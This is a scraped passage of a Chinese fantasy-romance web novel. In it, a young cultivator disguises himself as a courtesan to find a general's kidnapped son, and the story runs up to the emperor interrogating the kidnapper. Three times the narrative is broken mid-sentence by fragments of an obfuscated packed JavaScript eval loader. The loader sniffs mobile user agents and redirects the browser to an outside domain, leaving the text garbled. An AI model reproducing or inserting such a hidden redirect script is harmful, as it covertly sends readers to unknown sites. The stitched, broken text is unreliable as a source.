云修泽便把主意打在了自家穿过好几年女装的弟弟身上。 他打量的神色一过来,云修云就立刻明白了他在想什么,毛骨悚然的就翘着尾巴疯狂跳脚拒绝。 可云修泽是谁,他要拿捏不了云修云他就不是他哥! 威猛将军现在在云修云的脑海中就是一个大腹便便,酒色之徒,一想到要让唐思月去面对他,就还是咬咬牙,屈辱的打破了自己曾经许下的再不穿女装的小小誓言。 被忽略的天盛微:“......” 其实她也可以去试试,但是当她对上云修泽狡黠的眼神之后,就了然的默默降低了自己的存在感。 云修云抱着紧急恶补过后的琵琶欲哭无泪,妈的,牺牲大了,这笔账他迟早要在幼宁身上挖回来!!! 混在人群中的云修泽四人好笑的同时又默契的在心中祝他好运。 将军府离得不算太远,很快车队便驶到了侧门。 门口就只有一个引路的仆从,并没有云修云想象中急不可耐等在门口的中年男人,不禁让他松了一口气。 小娥是霜弦的贴身女婢,昨日夜里就已被云修泽敲打收买,现在战战兢兢的扶着根本不需要她搀扶的‘小姐’,为了防止露馅,还要暗中使力,引着云修云往平日演奏的水榭走去。 诺大的湖中就只有中间一个小小的凉亭,同样围着纱幔,尽显轻佻之感。 岸边已经摆上了矮桌和酒食,女使们趁着将军未到,有条不紊的布置着主人家得用的东西。 凉亭与岸边离的不算太近,纵使带着面纱,云修云也没有信心能够近距离的面对威猛将军还不被拆穿,很快就抱着琵琶坐到了凉亭中间。 等到周围只有他一个人了,云修云的面色才骤然沉了下来。 不愧是威猛将军的府邸,府中暗藏无数高手,就云修云感到的,甚至还有不少修士,正面冲突是不可能了,现在如果他敢暴露身份,能不能全身而退都是未知之数。 所幸这里隔得远,就算是云修云,如果不把灵力覆在双眼之上,也无法看清岸边人的脸,至于奏曲,也非是他独奏,带来的这些女婢都是呤音楼准备当做花魁来培养的,到时会跟他一起合奏,他应该暂时不用担心身份暴露。 等他弹奏完之后就假意落水,在府中混上一晚,看看能不能找到幼宁的踪迹。 云修云这么想着,岸边那些各司其职的仆从就纷纷停下了手上的动作,安静立在了一边。 一个人影带着一队人从远处出现,施施然坐下,也不说话,端起酒杯就开始喝,这倒是很符合云修云心中纵情酒色的形象。 纱幔遮挡了云修云的视线,连那人的身影都模模糊糊,就更别提看清他的脸。 云修云暗暗腹诽,竟不是个大肚腩,反而是高挑俊秀的体型,但那也不能洗脱他在他心中虚伪的模样,定然是道貌岸然,败絮其中! 那人遥遥举杯也未出声,只是旁边的侍从代为喊道。 “请霜弦姑娘奏曲!” 云修云顿时将刚刚复杂的思绪抛到一边,紧张的回忆起昨晚唐思月说的那些要点,指尖半轮,奏响了曲子的第一声。 丝竹云起,合奏之下,云修云生涩的琴音也不再那么显眼。 他从未觉得时间过得那么漫长,一曲弹完还不算结束,陌生的曲子一首接着一首的来,云修云心虚的混在其中,打量着一会儿该从哪边落水。 将军的酒喝完了,曲子也奏到了尾声,云修云站起身,模仿着女子微微行礼,却见那人召仆从到耳边吩咐了句什么。 云修云的心中涌起不好的预感,很快这个预感便成了真。 那人直起身子开始传令。 “所有人全部退下!” 云修云僵着身子看着仆从们行云流水的退下,就连呤音楼这边的也不例外,霎时间,整个地方就只剩下了他与威猛将军两人。 威猛将军拍拍衣摆站起身,不紧不慢的向凉亭走来。 云修云心道不妙,明面上的人退下去了,暗地里的可没有,他要真敢动手,被擒的只会是他。 无法,云修云只能提前实施落水的计划。 他瞅准时机向前走了两步,一副像是想要去迎将军的模样,实际上却靠近了凉亭的边缘,装模作样的崴了个脚,掐着嗓子啊了一声就要掉下水去。 眼见着都要成功了,却突然有人动作麻利的一把揽住了他的腰身,刚刚只走到了一半的将军宛如拥有缩地成寸的能力一般,突然来到了他的身边,十分完美的演了一出英雄救美的戏码。 而云修云在看清将军模样的一瞬间就瞪大了双眼,一声短促的轻笑落在他的耳边,眼中清晰的映出了他迷茫中带着震惊的神色。 “啊?” * 天色渐晚。 云修泽四人坐在将军府不远处的酒楼里,迟迟没有等到云修云的消息。 他们在昨晚约好,等云修云顺利混入了府中,无论是否找到幼宁,都会派小娥来这里买一种叫做雪绒莲的点心,以此来向他们报个平安,若能找到,就会派她来买第二次。 可直到现在,他们连小娥的一根头发丝儿都没有见到,很难不让人猜测云修云是不是出了什么意外。 虽然云修泽没有感觉他有受伤,但被打晕囚禁也是有可能的。 他们又耐着性子等了一会儿,等到天色完全暗下去,小二看他们的眼神都变得有些奇怪的时候,云修泽才终于沉下了心。 “不能再等了,肯定发生了什么,思月先拿着令牌去通神阁求援,我们三个先试试能不能混进去。” 正当他们准备分头行动的时候,让他们等了一天的小娥却在此时现了身,只不过她并不是孤身一人,身边还跟着一个明显是将军府出来的护卫。 他们目标明确的就来到了云修泽四人面前,云修泽冷冷的看着那护卫身后的小娥,让她忍不住瑟缩了一下,随即她就大着胆子行了个礼。 “问云公子好。” 那护卫也有力的报了个拳,微微低头,不卑不亢的说道。 “几位安好,我家主人与云公子请几位前往府中一叙。” 云修泽微微扬起下巴,冷淡的打量着他,过了一会儿才问道。 “小娥,是云公子请吗?” 小娥点了点头,小声说。 “是的公子,云公子现在安然无恙,正与将军在一处说话,要请几位一同前往府中。” 云修泽思索了片刻,答应的同时,和天盛微使了个眼色,天盛微会意,悄悄放出了一只飞往通神阁报信的灵鸟。 他们就这么正大光明的被请入了将军府中,一进来,云修泽就明白了为什么明水心会说他们闯不进来,这府中藏着的修士高手可不算少。 但其实云修泽也并没有那么担心,毕竟天盛微是凡人贵族,大不了到时候亮个身份,这个威猛将军品级再高、胆子再大也不可能真有胆子对郡主做些什么,可是他的心却没有因此放松下来,仍然牵挂着傻弟弟的状况。 但很快,他就明白自己的这点牵挂实属是多余。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381936|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 云修泽这个傻孩子不知道为什么,正在将军府中和一个女子相谈甚欢,举着酒虽没喝下去,但说高兴了,也是不拘小节的和对方碰了一杯。 云修泽四人:“......” 他们现在才算是真的相信了小娥那句‘云公子请’,就以他这个自在程度,说他就是这家的主人恐怕也有人信。 看见他们,云修云兴奋的招了招手。 “你们来了!快过来,快过来!” 云修泽走过去,不动声色的打量起了对方。 这女子约莫三十出头,模样却并不逊于年轻的小姐,长发利落的扎着,同样有着和明水心一般久居上位的气势。 云修泽一时猜不透她是何人。 云修云开始为两方介绍,他指着云修泽说。 “这是我哥云修泽,还有明青姐,唐思月和行愿大哥。” 他又指向了那个女子,神色有点狡黠。 “咳咳,这位是于商楹,威猛将军!” 什么??? 云修泽脸上的笑容瞬间就裂开了,威猛将军是个女子?这么重要的情报为什么没有一个人提起?! 云修泽僵着脖子扭头去看天盛微,天盛微也很惊讶,面对云修泽投来的疑惑的目光,干巴巴的解释道。 “你知道的,我不出家门......” “哈哈哈哈!幸会幸会啊,大名鼎鼎的第七洲!” 于商楹爽朗的笑起来,心中觉得他们好玩儿,云修泽和云修云也不愧是亲兄弟,惊讶的表情都相像的很。 她早年挂帅出征,为了少些流言蜚语,刻意在民间模糊了她的性别,现在威名扬起来了,也没刻意四处去解释,但该知道的人还是知道的。 云修泽很快整理好了情绪。 “于将军,失礼了。” 于商楹毫不在意,又叫人抬了个大桌,备好酒菜,招呼他们一起坐下。 “幼宁在森阳的事我都听说了,还要多谢你们照顾他。” 云修云对着他挤眉弄眼,云修泽心中隐隐有了猜测。 “不敢当,他也帮了我们很多,您是......?” 于商楹倒了杯酒,毫不掩饰的说。 “他姓于,是我唯一的孩子。” 果然如此吗? 几人多少都有点惊讶,唐思月更是直接捂住了嘴,于商楹看到她,还眉眼温和的冲她笑了一下。 云修云彻底忍不住了,眉飞色舞的说起刚刚的惊险。 霜弦是于商楹培养出来专门收集消息的探子,每月召入府中也只是为了掩人耳目,云修云一来便让她看穿了伪装。 幼宁失踪的事情已经传到了她的耳朵里,云修泽他们听到的消息是她故意让人放出去的,府中已经布下了天罗地网,目的就是为了引掳走幼宁的人前来一探虚实。 这时云修云送上门来,就自然被她误认为是抓走幼宁的人,险些动了手,幸亏他们之前去酒坊,用完的令牌被他收了起来,这才证明了自己的身份,险些闹出一场乌龙。 说着,云修云还状似心惊的拍了拍胸口。 “你们是不知道,当时于将军一抓住我,那些修士和护卫就全都乌泱泱的围了过来,要不是我反应快,从将军说的话里判断出她是站在幼宁这边的,现在肯定就不能这么完好无损的站在你们面前了!” 云修泽虽然猜到了幼宁的身份不会简单,但也没想到会是威猛将军的嫡子,怪不得符康对他的态度还隐隐透露着恭敬。 但是他有这个身份倒是好办许多,至少计都中没有多少人的身份能压过于商楹。 不过...... 云修泽抽了抽嘴角。 “将军,恕我等冒昧,您为何要取这样一个封号?” 误导他们的不止有民间的传言,还有这个朴实而粗犷的封号。 于商楹不笑了,回忆起这个封号的由来,自己的表情也变得惨不忍睹。 “......陛下继位之后,我跟随他南征北伐,也许本身是将门出身,要比普通的闺阁小姐彪悍一些,陛下一时震惊,说了句将军威猛,不知被谁传了出去,百姓自发自全都这么叫起来,名字过于深入人心,陛下也就干脆将其定为封号了......” 云修泽听完后表情变得奇怪,憋了半天,也只是无力的安慰道。 “......辛苦您了。” 于商楹面无表情。 “想笑就笑吧。” “......” “哈哈哈哈哈哈哈!!!” 88. 疑相四 饭后,于商楹带着他们来到了一处院子,这里已经提前摆好了茶水。 “虽说放出去的消息是假的,但是做戏做全套,我找了个身形相似的人假扮幼宁,现在就躺在这个屋中,白日里没人来,晚上却不一定,我府中虽有请来的修士,但有你们在更好,这几日你们就留下来,等幼宁找到了,我让他自己答谢你们。” 她说的随意又笃定,好像幼宁只是出去玩耍,而不是不知生死的被歹人绑走。 云修泽想,他们现在也不是什么无名之辈,若是让人知道他们待在将军府,很轻易就能联想到是个陷阱,不过他们刚刚进来时,是跟着护卫七拐八拐,从一个不起眼的小门进来的,应该没有被别人发现,留下来帮忙倒也可以。 “您似乎并不担心幼宁的处境。” 于商楹摆摆手。 “没事没事,那孩子鬼灵精的很,既然那群人是绑走他,而不是直接杀了他,肯定就有所图,他能撑到我们救他,不过倒是你们......” 她看着天盛微。 “你叫明青?不对吧,如果我没认错,你应该是明王爷家的郡主?叫什么来着?常年不见你,也记不大清。” 威猛将军是坚定的皇党一派,也是闰和帝的心腹,常年出入皇宫,宫中有天盛微幼时的画像,与现在的差别并不算大,所以她也没有太过意外于商楹能够这么快认出她。 “将军慧眼,我本名盛微,常年在外求师,很少回来。” 于商楹哈哈笑起来,整个人的做派的确与其他女子有所不同,很是豪爽。 “好啊,陛下有个好外甥女,世间那么大,幼宁出去一趟偏偏就结识了你,真是缘分。” 说到最后,她几乎是叹了起来,眼中平静,似乎是有些伤感,不过很快又重新笑开,眼神在她和云修泽的身上转了个圈。 “不过看起来明王爷家好事将近,到时可别忘了请我去喝杯喜酒。” 别看云修泽在天盛微面前敢厚着脸皮自称夫君,但真当他遇上了识得天盛微父母的长辈时,脸皮反而薄起来,耳朵的热度几乎是以肉眼可见的速度蔓延到了脸上,就这样,他还偏偏强撑着,一本正经的回答。 “将军抬爱,到时定然不会忘了您,只是还要请您暂且保密,此事还需我等自己去同王爷王妃交代。” “咳咳!” 天盛微有点不好意思,在桌子底下怼了云修泽一下子,才开口说。 “将军说笑了,不必将他胡言乱语放在心上。” 忽有婢女前来,放下一盘果子,在于商楹耳边低声说了句什么。 尽管声音很小,但她说的话还是被几个修士收入耳中。 于商楹似笑非笑的看过来,云修泽轻咳一声,面不改色。 “来时不知情况,只为自保周全,将军见谅,我们这就去让他们离开。” 他们进来前,以防万一曾让通神阁调派了人手,谁知明水心竟然弄来一堆修士,将府邸暗暗围了起来,被府中的修士察觉,立马就报到了于商楹这里。 于商楹也不在意,只是觉得他们年纪轻轻也算思虑周全,挥手示意婢女带他们离开,说。 “你和郡主去吧,悄悄地,顺便去报个平安,完事了再回来不迟,我再与他们说说话。” 这样也好,正好再去确认一下有没有人注意到他们进了将军府。 云修泽和天盛微很快相携离去,看着他们的背影,于商楹默默笑道。 “两个孩子倒是般配。” 她的眼神好像是透过他们想起了什么人,唐思月见她陷入回忆,就故意引开她的思绪,问道。 “将军,幼宁是何时的生辰?我见他令牌上刻着泱,可是他的字?” 于商楹回过神来,笑道。 “没错,他出生在十月初三,取字为泱,我总唤他泱泱来着。” 泱泱? 云修云心中嘀咕,他怎么不仅长得像个姑娘,连名字都这么可爱。 唐思月已经将面纱摘了下来,于商楹笑意满满的看着他们,说。 “他连令牌都给你们了,看来是很看重你们,他在军中表现得怎么样?没给我丢脸吧?” 云修云当着于商楹也不说他坏话了,真心实意的夸道。 “他挺聪明的,救了好多人质,又想了好多特别有用的办法,森阳能守下来他也功不可没!” 说完,他就注意到了唐思月看着他时,眼中微妙的笑意。 云修泽不解,挠了挠头。 “怎么了思月?” 唐思月含笑打量着他。 “没什么,就是觉得我们阿云真是芙蓉艳丽,娉婷袅袅,是个实打实的美人。” 云修云一愣,才突然想起自己还穿着花魁的衣裳,这衣裳为了削弱他男子的身形,许多地方都做了遮掩,甚至为了逼真还让他浅浅上了个妆,整个人打眼一看,也只会觉得是个身量高挑的女子。 事发突然,他和于商楹说起话来后就全然忘了这回事,没想到竟然顶着这副尊容被他们看了个彻底,坏心眼儿的,居然没一个来提醒他。 云修云几乎羞愤欲死,连脖子也跟着红了起来,握拳用力到止不住的颤抖。 于商楹看他这恨不得掘地三尺,要把自己埋起来的架势,拍着腿哈哈笑个不停,赶在他彻底爆发前,赶紧让人领着他去别处换下来。 云修云黑着脸跟人换了个院子,看样子应该是幼宁的居处,婢女呈来一套服饰,说是给公子新做的,还未上身。 云修云展开抻了抻衣袖,心中笑他同样的年纪却比他矮了一截,以后有空干脆带他拉练拉练,省得一点反抗的能力都没有。 这套不合适,云修云便干脆让人拿了回去,从玉佩中找了一套自己的换上。 他回到他们那边时,正隐约听到唐思月说了一声嫂嫂,不由好奇的问。 “嫂嫂?什么嫂嫂?你们在说什么?” 唐思月看着温和,其实很少能和外人聊起来,现在含笑看来,倒是心情不错的样子。 “没什么,只是于将军给我的感觉很像我嫂嫂,觉得亲切就多聊了几句。” 于商楹也看过来,隐隐有些歉意。 “家中除了幼宁那里,都没有常备的男子服饰,他有套新做的宽松些,看来还是不太合身。” 对于这些权贵家族来说,这应该是件很失礼的事情,云修云却并不放在心上。 还没等他说话,唐思月就突然垂下了眼,低声快速说道。 “有人用了迷雾,先装晕。” 说着她就像是头痛一般揉了揉,很快就趴在桌子上晕了过去。 行愿和于商楹就宛如什么话都没听到,神色自然去探她的情况,没等几个呼吸也双双晕了过去。 云修云屏住呼吸,装作晕头转向倒在了地上,悄悄放出神识,探查到有人轻手轻脚的翻进了院子,目标明确的推开了‘幼宁’的房门。 吱—— 门已半开,黑衣人的动作却突然顿住。 一把锋利的剑悄无声息的抵在了他的颈侧。 于商楹冷冷立在他的身后,沉下脸,整个人的气势就几乎发生了翻天覆地的变化,从尸山血海杀出来的气场压的人控制不住的颤栗。 黑衣人僵了一瞬,很快反应过来摆脱了她的控制。 一声口哨响起,院中瞬间多了十几个模样相同的黑衣人一起向她扑来。 于商楹等的就是他们,一声令下,府中隐在暗处的修士和护卫便全都现了身,天罗地网网住了自寻死路的猎物。 琴音响起,唐思月眼神清明的拨弦,将靠近了于商楹的几个黑衣人骤然弹了出去。 云修云和行愿配合着将军府的人同他们缠斗。 十几个黑衣人,居然全都是修士,并且实力高强,整体算下来,比将军府这边的还要强上一些。 他们眼见强攻不成,迅速靠在一起,形成了一种让外人难以攻破的阵型。 除了最开始进到院子中的那个头领,其余的应该全部都是死士,现在落入陷阱,几乎是以性命在掩护着头领逃离。 可是于商楹这边也不是吃素的,咬死了没让他们摸到一点逃跑的机会,两拨人僵持不下,最终,他们坚持不住,在于商楹的指挥和唐思月的琴音之下被冲破了阵型。 云修云想要抓住活口逼问幼宁的下落,便一直与他们周旋未下死手,可他们全然不在乎云修云的阻拦,便是剑横在了眼前,他们也敢用脖子撞上去,只为了开出一条生路。 云修云一时之间因为这种悍然不畏死,失去自我般的牺牲感到阵阵寒意。 打到最后,死士基本全军覆没,但他们真的强行用命制造了一个豁口,让那个头领在众目睽睽之下翻墙逃离,只剩了几个还在阻拦他们的追击。 于商楹立马抽身跟了上去,动作轻盈利落,比行愿还要快上一步。 她与那头领前脚跟着后脚,飞快的过了几招,她虽不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哥,那人脖颈处有伤,能不能排查一下?” 云修泽点头。 “之后可以试试。” 他看向于商楹,她仍然面如修罗,一双被刺红的双眼死死盯着那头领逃跑的方向,半晌才松了松握剑的手,慢慢说道。 “走,我们进去。” 院中还有几个被打晕的死士,云修泽和天盛微点穴封住了他们的灵力,又有护卫将他们口中暗藏的毒药扣了出来。 一盆盆凉水下去,他们幽幽转醒,面对他们的问话,发现自杀不成也不肯开口,于商楹平静的看着他们。 “拖下去,该上的刑罚给本将全都上一遍,不消手段残酷与否,谁能从他们嘴里挖出东西,谁就赏银百两。” 护卫们振奋的齐声应是,动作麻利,将被捆的严严实实的死士带了下去。 院中只剩了他们几个,于商楹撑着头,面色阴沉不知在想些什么。 天盛微忽然说。 “那人我似乎见过。” 视线一下集中在了她的身上,天盛微垂下眼睛回忆。 “计都最大的酒楼是繁危楼,是唯一有资格和通神阁叫板的势力,我幼时曾随父亲去那里用膳,想见老板,最后却只派了个主事过来,好像就是刚刚那人。” 繁危楼?他们为什么要掳走幼宁? 云修泽去看于商楹,却无法从她的面色中看出是否有什么纠葛仇恨,她说。 “既然如此,那我便派人去试探一番。” 天盛微并不赞同她的想法。 “将军与繁危楼都久在计都,您若随便派个人去是见不到主事的,而您手下有身份的他们大概也都摸清了,还是我去吧。” 她这个郡主身份足够,在计都也少有露面,她去的话,装模作样闹个事,见到主管的可能性倒是更大些。 于商楹知道她说的在理,也不敢赌自己的党羽是否全被摸清,只能将希望寄托在他们身上。 “那便拜托郡主了,恩情我已记在心中,之后若有需要,本将义不容辞!” 于商楹站起身,郑重的抱了个拳。 就算心中再相信幼宁自己能够周旋,身为母亲的她也没有办法消除心中的恐惧。 这是他们唯一的孩子。 89. 疑相五 既然要以郡主的身份去,就不能像平常穿的那么随意。 天盛微有点不自在的整理了一下身上的衣服,走出去时真切地注意到几个同伴都愣了一下,一下就放大了她的不安,差点就要扭头回去,被门口的于商楹不容拒绝的推了回来。 “难得你姑姑送来这么好看的衣裳,你穿着又合适,不许跑,就它了!” 天盛微往日在家也从未穿的这么华美,总是觉得不方便行动,现在穿成这样,莫名在他们面前显露出不自在来。 “......我穿着......不奇怪吧?” 云修云一把将杯子放回了桌上,一脸荒谬,嚷道。 “我去!盛微姐你在说什么啊!美呆了好吧!你看你把我哥迷得!” 云修泽正低头捂着脸,虽然遮住了表情,但露出来的皮肤红的十分均匀,闻言羞愤的踹了云修云一脚,听他装模作样的‘哎呦’一声。 天盛微一袭幽蓝色的及地长裙,深沉而静谧,恰如其分的衬托出了她摄人的脸庞和冷淡疏离的气场,衣料是上乘的柔月华锦,银线绣成的云纹若隐若现,广袖宽袍,裁剪别出心裁却也未失矜贵,最外层还有一件同样绣着银线的雪白狐裘。 唇色朱红,和淡色的额珠合在一起意外的相配,平日不戴的钗环也都衬着她玲珑白皙的脸颊,环佩叮咚,华贵艳姝。 若说她之前是孤高清雅的鬼玉兰,现在就更像是一株可以称为剧毒的蓝罂粟。 云修泽放弃去平复不受控的心跳,在几个人起哄的吵闹声中一下站起身,拉着天盛微转身就跑。 天盛微跟着他也不知道跑到了哪里,总之直到看不见任何人的身影后才停了下来。 云修泽把头深深埋进了天盛微的颈侧的毛领里,难耐的皱着眉,死死抱着她不肯撒手。 天盛微这下不忐忑了,抽不动手就任他抱,两人亲密无间的贴着,当感受到不同寻常的变化时,天盛微也慢慢红了耳廓。 “......还好吗?” 云修泽想退开,又忍不住想要抱的再紧一些。 两人之间终于留出了点空隙,空气微冷,让云修泽不适应的瑟缩了一下。 天盛微用自由的那只手摩挲了下他的颈侧,手指挑起还算规整的内领,轻轻亲了亲。 他的红还未消退,反而有愈演愈烈的嫌疑,并且热得烫手,让天盛微的思绪也跟着迟钝了起来。 “......哈啊......亲一下。” 云修泽蹭着她的鼻尖,小声的说道。 天盛微看着他还未松开的眉头和变得更加深沉地眼睛,有点受不了的满足了他的要求。 不知过了多久,云修泽重新把头埋回了毛领,气息不稳的轻哼了一声,紧绷的身体才一下子放松。 天盛微动了动手腕,试图让不适感快些消退,报复性的咬了口云修泽,他也没发出声音,挨着她顺从的抖了一下。 天盛微的眼神马上就变了,但他们已经离开了很长时间,还有正事要办,只能先记下来以后再跟他算帐。 “......走吧,他们该派人来找了。” 良久,云修泽才嗯了一声。 两人顶着他们暧昧的目光,硬着头皮回到了院中,时间已经到了该用午膳的时候,他们走出将军府,明水心已经带着下人候在了门口。 计都认识天盛微的少,认识她的可不少,由她出面送天盛微去繁危楼,说她是郡主,肯定也无人敢怀疑。 明水心下了马车跟于商楹见礼。 “将军。” 于商楹扶着她的手肘让她不必多礼。 “明大人,此事麻烦你了,以后有用得到我的地方还请尽情吩咐。” 明水心用团扇遮着脸笑起来。 “于将军的许诺重如千金,此番可是我赚了。” “哈哈哈!让你赚!” 于商楹看着她们上了马车,又说道。 “我会带人等在繁危楼附近,有危险的话我会立刻过去。” 唐思月易容扮作婢女,云修泽他们则装作护卫随行,行愿不想摘下面具,干脆就隐去了身形,重新干起了暗卫的活计。 一行人很快就到了繁危楼,守门待客的小厮瞅见马车上明王府的族徽,连忙迎了上来,见是明水心,笑道。 “原来是明大人!有失远迎,有失远迎,您今日想用点什么?我们新进了不少菜式,可用说给您听听?” 明水心淡淡笑道。 “我还有要事在身,这次来是为送我侄女,她好不容易出来一次,说想到你们这儿尝尝你们家的招牌,你们可要给我招待好了!” 侄女?那不就是皓明郡主? 那小厮浑身一激灵,打起了浑身的精神,这位郡主听说很得圣上疼爱,只是大门不出二门不迈,养在深闺中无人得见,今日竟然到他们繁危楼来了? “嘿嘿,明大人且放心,皓明郡主赏脸,我们定然不会怠慢!郡主,您请!” 云修泽摆好马凳,唐思月扶着天盛微出了马车,轻轻瞥了一眼小厮,直接让他看呆了眼。 明水心叮嘱道。 “好好吃,有什么事告诉姑姑,姑姑马上过来。” 天盛微知道这是在隐晦地提醒他们她会守在附近,不禁心中一暖,颔首道。 “我知道了,姑姑去忙吧。” 他们在小厮的引领下进了繁危楼,这里也不亏被誉为‘饕餮罗网’,光是楼体就修建的十分雅致,上菜的女婢井然有序的穿插游走,一行一动都十分赏心悦目,就更别提那些色泽诱人的精致菜肴。 云修云有点想吃。 身为郡主,他们理所当然占了一个包厢。 云修泽本以为点菜就是走个过场,没想到天盛微还真的认真选了起来。 上菜并没有让他们等很久,上齐之后,天盛微就屏退了繁危楼的人,屋中只留了他们四个。 天盛微示意他们坐下,又打开窗户把潜伏在外面的行愿叫了进来。 “先吃,吃完再找事。” “盛微姐我爱你!!!” 云修云呜呜叫着扑到了桌边。 云修泽虽然觉得他们真的悠哉游哉吃上饭不大合适,但是......总得先填饱肚子嘛! 于是几人愉快地坐了下来。 等吃了个半饱,天盛微便将繁危楼的人叫了进来,沉下脸,一脸不悦,唐思月在旁边代为呵道。 “你们家的菜怎么回事?我们郡主吃完还没多久便觉得身体不适,郡主金尊玉贵,要是有什么三长两短,你们担待的起吗?还不快把你们管事的叫来!” 负责这个包厢的女婢脸都白了,她不敢去翻动郡主桌上的饭菜,检查是否真的有什么异样,出了事情她也是的确担待不起,但是一想到主事昨日说,最近没什么要事,不要轻易去打扰他,就还是壮着胆子解释了两句。 “郡主恕罪,饭菜的食材都是每日现摘现宰的,后厨也都一向整洁,郡主可否是有什么忌口一时忘了交代?” 天盛微皱着眉居高临下的瞪了她一眼。 “你的意思是本郡主的错吗?” 女婢顿时冒出了冷汗。 “不敢不敢!” 唐思月在旁边喊道。 “还愣着做什么?难不成以我们郡主的身份,还见不得你们一个酒楼的主事不成?” 那个女婢无法,只能领命带着一队女婢离去。 两人演了出刁难人的戏码,云修泽他们想起刚刚天盛微和唐思月那股跋扈劲儿,一个对视就都忍不住笑了起来。 不久他们便听到门外有脚步声传来,连忙收了表情,挪了挪站位,准备随时拦截。 门外有人站定,能够看出是个宽肩的男人,他微微弯了弯腰。 “繁危楼主事庞庆华,拜见郡主。” “进来。” 门被推开,一个中年男人走进来,似乎就是昨夜那人,他抬眼见到他们,顿时脸色大变,转身就要逃走。 云修泽一把拦住了他,门砰的一声被踢上,几人快速过了几招将他擒住,扒开衣领一看,赫然有一条还未痊愈的血痕。 就是此人! 天盛微打开窗户放出信号,于商楹很快带着一众护卫赶来,动作迅速的清了场,将繁危楼围了起来。 于商楹在这个庞庆华面前坐了下来,问道。 “你们是谁?为什么要掳走幼宁?你们可知,他是谁吗?” 庞庆华挣了挣手腕上的绳索,被行愿压的一动也不能动,闻言不屑的哼了一声,扭过头去不愿回答。 于商楹用剑抵住他的侧脸,强制他转过头,眼神阴冷,语气强势。 “看来我是多年未上战场,竟让你们忘了我是谁,你不说,我自然有的是法子让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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正在云修泽不解其意的时候,天盛微动了动,穿过侍卫走到那个男人的身边,竟然揽住他的胳膊,算得上乖巧的喊道。 “舅舅。” 舅舅?云修泽上一瞬还在惊讶,这一瞬就骤然想起了她的舅舅是何许人也。 闰和帝! 这个外表温和的男人,居然就是靠征伐将权利握回手中的闰和帝! 云修泽不由心中一紧,他为什么会出现在这里? 闰和帝反应过来,宠溺的捏了捏天盛微的脸颊。 “好丫头,居然还敢离家出走,不过你真是长得与你母亲越来越像了,远远站着,竟叫我一时不能分辨。” “母亲姿容比我更盛。” 闰和帝叹道。 “她若有你这份气魄就好了,行了,先放开舅舅,还有正事要说。” 天盛微依言松开了他的手,自然的站回了云修泽的身边,敏锐的帝王因此若有所思的看了他一眼。 “拜见陛下。” 于商楹单膝跪地。 “您怎么来了?” 闰和帝亲自将她扶起来,笑道。 “这么大的事也不知道告诉朕,朕若不来,你们还得拖多久?那孩子毕竟情况不明,朕也担心啊。” 繁危楼的主人尽管被堵着嘴,听了这话也还是发出点儿轻蔑的声音,惹的侍卫统领又皱眉压了压他。 于商楹哈哈笑道。 “没告诉您,您这不也知道了?” 闰和帝并不计较她的失礼,只是温和的提议道。 “这里不是说话的地方,这附近有处朕的私宅,先挪步再说。” 他看向天盛微几人。 “青儿,你这几位朋友也要跟过去吗?” 虽然云修泽他们都穿着侍从的衣裳,但是天盛微却和他们站的很近,再加上第七洲的名头,闰和帝很轻易的就明白了他们是什么人。 天盛微点头说。 “他们都是可信之人。” 她本以为还要再多说些什么,舅舅才能允许他们跟去,没想到他居然就点了点头,轻易答应了下来。 “也好,听说你们也是幼宁的朋友,年轻人,来听听也好,只是一点,今日所知,不可外传,修士也不例外,孩子们,明白吗?” 他的语气轻缓,眼神却带着极强的压迫,帝王威严不容置喙,云修泽几人齐声应是。 他们从繁危楼的后门离开,没走几步路便到了一处样貌普通的民宅,打开却布置的别有洞天。 来到正堂,除了侍卫统领,所有的侍卫留在了外面,闰和帝坐到主位,状似温和的看着堂下跪着的两人,开口道。 “说吧,于幼宁在哪儿?” 90. 疑相六 繁危楼的主人名为卫祈,被他们抓住后,就明白以眼前这个帝王的性子,手下的人应该已经被控制的七七八八,知道没有逃出升天的希望之后,态度就不复一开始的愤恨,恹恹的,仿佛已经全然不将生死放在心上,但是当他听到于幼宁这个名字的时候,又打起了点儿精神。 “于幼宁......他姓于?” 卫祈看向一旁的于商楹,眼神动了动,不知在想些什么。 闰和帝说。 “看来你还没有搞清他的身份就把他掳走了啊,卫祈,说说看,那孩子现在在哪儿?” 闰和帝一说话,就好像是触发了他的什么机关,态度又一下子变得讥讽起来。 “孩子?他已经死了,我们找到他的时候他就已经死了,跟我们没关系!你想见他就下地狱去见吧!” 于商楹脸色顿时变得不太好看,心中很想给他点教训,但是闰和帝在这里,一切都要以他的意愿为主,不可私自动手,藐视君威,于是就只是抱手站在一旁冷冷的审视着他。 闰和帝并不将他的话放在心上。 “你们为什么要抓他?” 卫祈只一心觉得死期将近,什么都敢说,也不管和自己刚才说的话是否一致,只是一味的怒道。 “为什么?你说为什么?难道要让他生活在你的监视之下吗?今日我就告诉你,十几年来我做的一切都是为了推翻你这个狗皇帝!” 他挣扎着想要向闰和帝冲去,却被反复压制,看着他神色波澜不惊,心中的怒火不由燃烧的更加旺盛。 “世人都被你骗了!什么千古一帝!什么圣君明主!谁知你本性恶毒,皇位动荡不安之际,年幼的你就敢不顾往日亲情,执起屠刀,弑兄夺位!!!四皇子生前如何待你,全都被你咽到了狗肚子里!如果不是你杀了他!现在应该是一个更加和平、繁荣强大的盛世!!!” 卫祈状似癫狂,双眼赤红,自己说着竟然还隐隐积起了泪光。 